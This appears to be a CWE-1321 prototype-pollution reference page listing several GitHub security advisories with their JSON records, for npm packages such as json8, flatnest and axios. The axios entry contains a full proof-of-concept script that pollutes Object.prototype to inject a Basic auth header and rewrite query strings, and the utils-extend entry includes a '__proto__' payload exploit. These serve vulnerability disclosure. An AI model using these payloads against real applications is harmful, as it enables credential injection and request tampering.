Common Weakness Enumeration
CWE-1321
AllowedImproperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.
821 vulnerabilities reference this CWE, most recent first.
GHSA-7H43-GX24-P529
Vulnerability from github – Published: 2021-05-10 19:17 – Updated: 2021-04-19 22:36
VLAI
Summary
Prototype pollution in json8
Details
This affects the package json8 before 1.0.3. The function adds in the target object the property specified in the path, however it does not properly check the key being set, leading to a prototype pollution.
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "json8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7770"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-19T22:36:51Z",
"nvd_published_at": "2020-11-12T11:15:00Z",
"severity": "CRITICAL"
},
"details": "This affects the package json8 before 1.0.3. The function adds in the target object the property specified in the path, however it does not properly check the key being set, leading to a prototype pollution.",
"id": "GHSA-7h43-gx24-p529",
"modified": "2021-04-19T22:36:51Z",
"published": "2021-05-10T19:17:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7770"
},
{
"type": "WEB",
"url": "https://github.com/sonnyp/JSON8/commit/2e890261b66cbc54ae01d0c79c71b0fd18379e7e"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-JSON8-1017116"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/json8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype pollution in json8"
}
GHSA-7MG4-W3W5-X5PC
Vulnerability from github – Published: 2021-05-10 18:37 – Updated: 2025-03-05 19:04
VLAI
Summary
Prototype pollution in json-pointer
Details
This affects the package json-pointer before 0.6.1. Multiple reference of object using slash is supported.
Severity
6.0 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "json-pointer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.webjars.npm:json-pointer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7709"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-21T21:10:19Z",
"nvd_published_at": "2020-10-05T08:15:00Z",
"severity": "MODERATE"
},
"details": "This affects the package json-pointer before 0.6.1. Multiple reference of object using slash is supported.",
"id": "GHSA-7mg4-w3w5-x5pc",
"modified": "2025-03-05T19:04:37Z",
"published": "2021-05-10T18:37:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7709"
},
{
"type": "WEB",
"url": "https://github.com/manuelstofer/json-pointer/pull/34"
},
{
"type": "WEB",
"url": "https://github.com/manuelstofer/json-pointer/pull/34/files"
},
{
"type": "PACKAGE",
"url": "https://github.com/manuelstofer/json-pointer"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-598862"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-JSONPOINTER-596925"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/json-pointer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype pollution in json-pointer"
}
GHSA-7PPQ-3WW2-75F4
Vulnerability from github – Published: 2024-07-24 21:31 – Updated: 2024-07-24 21:31
VLAI
Details
A vulnerability in the web-based management interface of HPE Aruba Networking EdgeConnect SD-WAN gateway could allow an authenticated remote attacker to conduct a server-side prototype pollution attack. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the underlying operating system leading to complete system compromise.
Severity
7.2 (High)
{
"affected": [],
"aliases": [
"CVE-2024-33519"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-24T20:15:03Z",
"severity": "HIGH"
},
"details": "A vulnerability in the web-based management interface of HPE Aruba Networking EdgeConnect SD-WAN gateway could allow an authenticated remote attacker to conduct a server-side prototype pollution attack. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the underlying operating system leading to complete system compromise.",
"id": "GHSA-7ppq-3ww2-75f4",
"modified": "2024-07-24T21:31:30Z",
"published": "2024-07-24T21:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33519"
},
{
"type": "WEB",
"url": "https://csaf.arubanetworks.com/2024/hpe_aruba_networking_-_hpesbnw04673.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7PRF-VW4P-QR59
Vulnerability from github – Published: 2021-12-10 19:03 – Updated: 2021-06-22 15:45
VLAI
Summary
Prototype pollution in supermixer
Details
Prototype pollution in Stampit supermixer allows an attacker to modify the prototype of a base object which can vary in severity depending on the implementation.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "supermixer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-24939"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-17T18:46:22Z",
"nvd_published_at": "2021-06-16T16:15:00Z",
"severity": "HIGH"
},
"details": "Prototype pollution in Stampit supermixer allows an attacker to modify the prototype of a base object which can vary in severity depending on the implementation.",
"id": "GHSA-7prf-vw4p-qr59",
"modified": "2021-06-22T15:45:35Z",
"published": "2021-12-10T19:03:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24939"
},
{
"type": "WEB",
"url": "https://github.com/stampit-org/supermixer/issues/9"
},
{
"type": "WEB",
"url": "https://github.com/stampit-org/supermixer/commit/94dcc6fc45e0fed96187cb52aaffadf76dbbc0a3"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/959987"
},
{
"type": "WEB",
"url": "https://github.com/stampit-org/supermixer/compare/v1.0.4...v1.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Prototype pollution in supermixer"
}
GHSA-7PVX-4585-HQWW
Vulnerability from github – Published: 2023-11-24 21:30 – Updated: 2023-12-01 22:37
VLAI
Summary
sequelize-typescript Prototype Pollution vulnerability
Details
Prototype Pollution in GitHub repository robinbuschmann/sequelize-typescript prior to 2.1.6.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "sequelize-typescript"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-6293"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-01T22:37:52Z",
"nvd_published_at": "2023-11-24T20:15:07Z",
"severity": "HIGH"
},
"details": "Prototype Pollution in GitHub repository robinbuschmann/sequelize-typescript prior to 2.1.6.",
"id": "GHSA-7pvx-4585-hqww",
"modified": "2023-12-01T22:37:52Z",
"published": "2023-11-24T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6293"
},
{
"type": "WEB",
"url": "https://github.com/robinbuschmann/sequelize-typescript/commit/5ce8afdd1671b08c774ce106b000605ba8fccf78"
},
{
"type": "PACKAGE",
"url": "https://github.com/robinbuschmann/sequelize-typescript"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/36a7ecbf-4d3d-462e-86a3-cda7b1ec64e2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "sequelize-typescript Prototype Pollution vulnerability"
}
GHSA-7PX2-3C2P-Q4V4
Vulnerability from github – Published: 2023-06-30 06:30 – Updated: 2023-06-30 20:38
VLAI
Summary
flatnest Prototype Pollution vulnerability
Details
All versions of the package flatnest are vulnerable to Prototype Pollution via the nest() function in flatnest/nest.js file.
Severity
7.3 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flatnest"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-26135"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-30T20:38:36Z",
"nvd_published_at": "2023-06-30T05:15:09Z",
"severity": "HIGH"
},
"details": "All versions of the package flatnest are vulnerable to Prototype Pollution via the `nest()` function in `flatnest/nest.js` file.",
"id": "GHSA-7px2-3c2p-q4v4",
"modified": "2023-06-30T20:38:36Z",
"published": "2023-06-30T06:30:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26135"
},
{
"type": "WEB",
"url": "https://github.com/brycebaril/node-flatnest/issues/4"
},
{
"type": "WEB",
"url": "https://github.com/brycebaril/node-flatnest/commit/27d569baf9d9d25677640edeaf2d13af165868d6"
},
{
"type": "PACKAGE",
"url": "https://github.com/brycebaril/node-flatnest"
},
{
"type": "WEB",
"url": "https://github.com/brycebaril/node-flatnest/blob/b7d97ec64a04632378db87fcf3577bd51ac3ee39/nest.js#L43"
},
{
"type": "WEB",
"url": "https://github.com/brycebaril/node-flatnest/blob/b7d97ec64a04632378db87fcf3577bd51ac3ee39/nest.js%23L43"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-FLATNEST-3185149"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "flatnest Prototype Pollution vulnerability"
}
GHSA-7Q8Q-RJ6J-MHJQ
Vulnerability from github – Published: 2026-07-20 22:37 – Updated: 2026-07-20 22:37
VLAI
Summary
Axios: Nested axios option objects can consume polluted prototype values
Details
Summary
Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted Object.prototype.
The top-level merged config is protected with a null prototype, but nested plain objects such as auth and paramsSerializer are cloned into ordinary objects. If application code passes placeholders such as auth: {} or paramsSerializer: {}, inherited username, password, encode, or serialize properties can influence outbound requests.
Impact
This is reachable only when another component has already polluted Object.prototype and the application passes an affected nested axios option object.
Confirmed impacts include silent injection of an Authorization: Basic ... header from inherited username and password values, and query-string tampering when inherited paramsSerializer fields are function-valued.
The auth case requires only string-valued pollution. Full query-string replacement through paramsSerializer.serialize requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through encode.
This does not mean every axios request is affected. Requests that do not pass auth, do not pass paramsSerializer, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.
Affected Functionality
Affected runtime functionality:
- Node HTTP adapter Basic auth handling in
lib/adapters/http.js. - Browser/fetch/XHR Basic auth handling through
lib/helpers/resolveConfig.js. - Query serialization through
lib/helpers/buildURL.js. axios.getUri()when called with an affectedparamsSerializerobject.
Affected config shapes:
auth: {}or anauthobject missing ownusernameand/orpassword.paramsSerializer: {}or aparamsSerializerobject missing ownencodeand/orserialize.
Unaffected by this specific issue:
- Requests with no
authproperty. - Requests with no
paramsSerializerproperty. - Top-level polluted
authorparamsSerializervalues in current hardened versions.
Technical Details
lib/core/mergeConfig.js creates the top-level merged config with Object.create(null), but nested object cloning still uses ordinary {} containers:
} else if (utils.isPlainObject(source)) {
return utils.merge({}, source);
}
Downstream code then reads nested fields without own-property checks.
In lib/helpers/resolveConfig.js:
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
In lib/adapters/http.js:
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
In lib/helpers/buildURL.js:
const _encode = (options && options.encode) || encode;
const serializeFn = _options && _options.serialize;
Proof of Concept of Attack
import http from 'node:http';
import axios from './index.js';
const user = 'attacker';
const pass = 'exfil';
Object.defineProperty(Object.prototype, 'username', {
value: user,
configurable: true
});
Object.defineProperty(Object.prototype, 'password', {
value: pass,
configurable: true
});
Object.defineProperty(Object.prototype, 'serialize', {
value: () => 'polluted=1',
configurable: true
});
const server = http.createServer((req, res) => {
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({
authorization: req.headers.authorization || null,
url: req.url
}));
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
try {
const port = server.address().port;
const response = await axios.get(`http://127.0.0.1:${port}/demo`, {
auth: {},
paramsSerializer: {},
params: { unused: 'ignored' }
});
console.log(response.data);
} finally {
await new Promise((resolve) => server.close(resolve));
delete Object.prototype.username;
delete Object.prototype.password;
delete Object.prototype.serialize;
}
Observed result:
{
"authorization": "Basic YXR0YWNrZXI6ZXhmaWw=",
"url": "/demo?polluted=1"
}
Workarounds
If upgrading is not yet possible, avoid passing placeholder nested option objects.
Remove auth entirely when Basic auth is not intended. For paramsSerializer objects, provide explicit own encode and serialize properties or remove paramsSerializer when custom serialization is not required.
These workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.
Original Report ### Summary axios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. ### Details mergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers: mergeConfig.js Lines 36-45 function getMergedValue(target, source, prop, caseless) {
if (utils.isPlainObject(target) && utils.isPlainObject(source)) {
return utils.merge.call({ caseless }, target, source);
} else if (utils.isPlainObject(source)) {
return utils.merge({}, source);
} else if (utils.isArray(source)) {
return source.slice();
}
return source;
}
if (auth) {
headers.set(
'Authorization',
'Basic ' +
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
);
}
// HTTP basic authentication
let auth = undefined;
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
export default function buildURL(url, params, options) {
if (!params) {
return url;
}
const _encode = (options && options.encode) || encode;
const _options = utils.isFunction(options)
? {
serialize: options,
}
: options;
const serializeFn = _options && _options.serialize;
let serializedParams;
if (serializeFn) {
serializedParams = serializeFn(params, _options);
} else {
serializedParams = utils.isURLSearchParams(params)
? params.toString()
: new AxiosURLSearchParams(params, _options).toString(_encode);
}
import http from 'node:http';
import axios from '../../index.js';
const ATTACKER_USER = 'attacker';
const ATTACKER_PASS = 'exfil';
const ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');
// Step 1: simulate a pre-existing prototype-pollution primitive in this process.
// In reality, a separate dependency would have done this. We keep the
// "polluted" properties non-enumerable so they only affect inherited reads,
// which is the realistic shape of most prototype-pollution gadgets.
Object.defineProperty(Object.prototype, 'username', {
value: ATTACKER_USER,
configurable: true,
});
Object.defineProperty(Object.prototype, 'password', {
value: ATTACKER_PASS,
configurable: true,
});
Object.defineProperty(Object.prototype, 'serialize', {
value: () => 'polluted=1',
configurable: true,
});
// Local capture server.
const server = http.createServer((req, res) => {
const captured = {
authorization: req.headers['authorization'] || null,
url: req.url,
};
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify(captured));
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;
try {
// Application code: passes nested *placeholder* option objects that have
// no own auth/serializer properties. Without prototype pollution this is
// a no-op. With prototype pollution it becomes attacker-controlled state.
const response = await axios.get(`http://127.0.0.1:${port}/demo`, {
auth: {},
paramsSerializer: {},
params: { unused: 'ignored-by-polluted-serializer' },
});
console.log('--- PoC: nested-option prototype-pollution gadgets ---');
console.log('Server saw:', JSON.stringify(response.data));
const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;
const urlRewritten = response.data.url === '/demo?polluted=1';
if (authLeaked && urlRewritten) {
console.log(
'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +
'Object.prototype values into the outbound request.'
);
process.exitCode = 0;
} else {
console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');
console.log(' authLeaked =', authLeaked);
console.log(' urlRewritten =', urlRewritten);
process.exitCode = 1;
}
} finally {
server.close();
// Restore Object.prototype so a noisy exit/process state cannot affect
// anything else accidentally sharing the runtime.
delete Object.prototype.username;
delete Object.prototype.password;
delete Object.prototype.serialize;
}
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.0"
},
{
"fixed": "0.33.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:37:31Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAxios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted `Object.prototype`.\n\nThe top-level merged config is protected with a null prototype, but nested plain objects such as `auth` and `paramsSerializer` are cloned into ordinary objects. If application code passes placeholders such as `auth: {}` or `paramsSerializer: {}`, inherited `username`, `password`, `encode`, or `serialize` properties can influence outbound requests.\n\n## Impact\n\nThis is reachable only when another component has already polluted `Object.prototype` and the application passes an affected nested axios option object.\n\nConfirmed impacts include silent injection of an `Authorization: Basic ...` header from inherited `username` and `password` values, and query-string tampering when inherited `paramsSerializer` fields are function-valued.\n\nThe `auth` case requires only string-valued pollution. Full query-string replacement through `paramsSerializer.serialize` requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through `encode`.\n\nThis does not mean every axios request is affected. Requests that do not pass `auth`, do not pass `paramsSerializer`, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.\n\n## Affected Functionality\n\nAffected runtime functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser/fetch/XHR Basic auth handling through `lib/helpers/resolveConfig.js`.\n- Query serialization through `lib/helpers/buildURL.js`.\n- `axios.getUri()` when called with an affected `paramsSerializer` object.\n\nAffected config shapes:\n\n- `auth: {}` or an `auth` object missing own `username` and/or `password`.\n- `paramsSerializer: {}` or a `paramsSerializer` object missing own `encode` and/or `serialize`.\n\nUnaffected by this specific issue:\n\n- Requests with no `auth` property.\n- Requests with no `paramsSerializer` property.\n- Top-level polluted `auth` or `paramsSerializer` values in current hardened versions.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates the top-level merged config with `Object.create(null)`, but nested object cloning still uses ordinary `{}` containers:\n\n```js\n} else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n}\n```\n\nDownstream code then reads nested fields without own-property checks.\n\nIn `lib/helpers/resolveConfig.js`:\n\n```js\nbtoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n```\n\nIn `lib/adapters/http.js`:\n\n```js\nconst username = configAuth.username || \u0027\u0027;\nconst password = configAuth.password || \u0027\u0027;\nauth = username + \u0027:\u0027 + password;\n```\n\nIn `lib/helpers/buildURL.js`:\n\n```js\nconst _encode = (options \u0026\u0026 options.encode) || encode;\nconst serializeFn = _options \u0026\u0026 _options.serialize;\n```\n\n## Proof of Concept of Attack\n\n```js\nimport http from \u0027node:http\u0027;\nimport axios from \u0027./index.js\u0027;\n\nconst user = \u0027attacker\u0027;\nconst pass = \u0027exfil\u0027;\n\nObject.defineProperty(Object.prototype, \u0027username\u0027, {\n value: user,\n configurable: true\n});\n\nObject.defineProperty(Object.prototype, \u0027password\u0027, {\n value: pass,\n configurable: true\n});\n\nObject.defineProperty(Object.prototype, \u0027serialize\u0027, {\n value: () =\u003e \u0027polluted=1\u0027,\n configurable: true\n});\n\nconst server = http.createServer((req, res) =\u003e {\n res.writeHead(200, { \u0027content-type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify({\n authorization: req.headers.authorization || null,\n url: req.url\n }));\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n\ntry {\n const port = server.address().port;\n const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n auth: {},\n paramsSerializer: {},\n params: { unused: \u0027ignored\u0027 }\n });\n\n console.log(response.data);\n} finally {\n await new Promise((resolve) =\u003e server.close(resolve));\n delete Object.prototype.username;\n delete Object.prototype.password;\n delete Object.prototype.serialize;\n}\n```\n\nObserved result:\n\n```json\n{\n \"authorization\": \"Basic YXR0YWNrZXI6ZXhmaWw=\",\n \"url\": \"/demo?polluted=1\"\n}\n```\n\n## Workarounds\n\nIf upgrading is not yet possible, avoid passing placeholder nested option objects.\n\nRemove `auth` entirely when Basic auth is not intended. For `paramsSerializer` objects, provide explicit own `encode` and `serialize` properties or remove `paramsSerializer` when custom serialization is not required.\n\nThese workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\naxios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. \n\n### Details\nmergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:\n\nmergeConfig.js Lines 36-45\n\n```\n function getMergedValue(target, source, prop, caseless) {\n if (utils.isPlainObject(target) \u0026\u0026 utils.isPlainObject(source)) {\n return utils.merge.call({ caseless }, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n```\n\nThe cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:\n\nBrowser / fetch Basic auth \u2014 lib/helpers/resolveConfig.js:\nresolveConfig.js Lines 64-70\n```\n if (auth) {\n headers.set(\n \u0027Authorization\u0027,\n \u0027Basic \u0027 +\n btoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n );\n }\n```\n\nNode HTTP adapter Basic auth \u2014 lib/adapters/http.js:\nhttp.js Lines 829-836\n```\n // HTTP basic authentication\n let auth = undefined;\n const configAuth = own(\u0027auth\u0027);\n if (configAuth) {\n const username = configAuth.username || \u0027\u0027;\n const password = configAuth.password || \u0027\u0027;\n auth = username + \u0027:\u0027 + password;\n }\n```\n\nparamsSerializer reads \u2014 lib/helpers/buildURL.js:\nbuildURL.js Lines 31-54\n```\nexport default function buildURL(url, params, options) {\n if (!params) {\n return url;\n }\n const _encode = (options \u0026\u0026 options.encode) || encode;\n const _options = utils.isFunction(options)\n ? {\n serialize: options,\n }\n : options;\n const serializeFn = _options \u0026\u0026 _options.serialize;\n let serializedParams;\n if (serializeFn) {\n serializedParams = serializeFn(params, _options);\n } else {\n serializedParams = utils.isURLSearchParams(params)\n ? params.toString()\n : new AxiosURLSearchParams(params, _options).toString(_encode);\n }\n```\n\nBecause auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.\n\nThe auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.\n\n### PoC\n```\nimport http from \u0027node:http\u0027;\nimport axios from \u0027../../index.js\u0027;\n\nconst ATTACKER_USER = \u0027attacker\u0027;\nconst ATTACKER_PASS = \u0027exfil\u0027;\nconst ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString(\u0027base64\u0027);\n\n// Step 1: simulate a pre-existing prototype-pollution primitive in this process.\n// In reality, a separate dependency would have done this. We keep the\n// \"polluted\" properties non-enumerable so they only affect inherited reads,\n// which is the realistic shape of most prototype-pollution gadgets.\nObject.defineProperty(Object.prototype, \u0027username\u0027, {\n value: ATTACKER_USER,\n configurable: true,\n});\nObject.defineProperty(Object.prototype, \u0027password\u0027, {\n value: ATTACKER_PASS,\n configurable: true,\n});\nObject.defineProperty(Object.prototype, \u0027serialize\u0027, {\n value: () =\u003e \u0027polluted=1\u0027,\n configurable: true,\n});\n\n// Local capture server.\nconst server = http.createServer((req, res) =\u003e {\n const captured = {\n authorization: req.headers[\u0027authorization\u0027] || null,\n url: req.url,\n };\n res.writeHead(200, { \u0027content-type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify(captured));\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\nconst port = server.address().port;\n\ntry {\n // Application code: passes nested *placeholder* option objects that have\n // no own auth/serializer properties. Without prototype pollution this is\n // a no-op. With prototype pollution it becomes attacker-controlled state.\n const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n auth: {},\n paramsSerializer: {},\n params: { unused: \u0027ignored-by-polluted-serializer\u0027 },\n });\n\n console.log(\u0027--- PoC: nested-option prototype-pollution gadgets ---\u0027);\n console.log(\u0027Server saw:\u0027, JSON.stringify(response.data));\n\n const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;\n const urlRewritten = response.data.url === \u0027/demo?polluted=1\u0027;\n\n if (authLeaked \u0026\u0026 urlRewritten) {\n console.log(\n \u0027VULNERABLE: nested auth + paramsSerializer inherited polluted \u0027 +\n \u0027Object.prototype values into the outbound request.\u0027\n );\n process.exitCode = 0;\n } else {\n console.log(\u0027NOT VULNERABLE: nested option objects did not leak prototype state.\u0027);\n console.log(\u0027 authLeaked =\u0027, authLeaked);\n console.log(\u0027 urlRewritten =\u0027, urlRewritten);\n process.exitCode = 1;\n }\n} finally {\n server.close();\n // Restore Object.prototype so a noisy exit/process state cannot affect\n // anything else accidentally sharing the runtime.\n delete Object.prototype.username;\n delete Object.prototype.password;\n delete Object.prototype.serialize;\n}\n```\n\n### Impact\nConcrete consequences:\n- Silent injection of attacker-controlled Authorization: Basic \u2026 headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.\n- Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.\n\u003cdetails\u003e",
"id": "GHSA-7q8q-rj6j-mhjq",
"modified": "2026-07-20T22:37:32Z",
"published": "2026-07-20T22:37:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11001"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.33.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: Nested axios option objects can consume polluted prototype values"
}
GHSA-7QGG-VW88-CC99
Vulnerability from github – Published: 2025-02-06 06:31 – Updated: 2025-09-03 15:22
VLAI
Summary
utils-extend Prototype Pollution
Details
The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
PoC
async function exploit() {
const utilsextend = require(\"utils-extend\");
const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}');
const result = await utilsextend.extend({}, payload);
}
await exploit();
Severity
9.1 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "utils-extend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-57077"
],
"database_specific": {
"cwe_ids": [
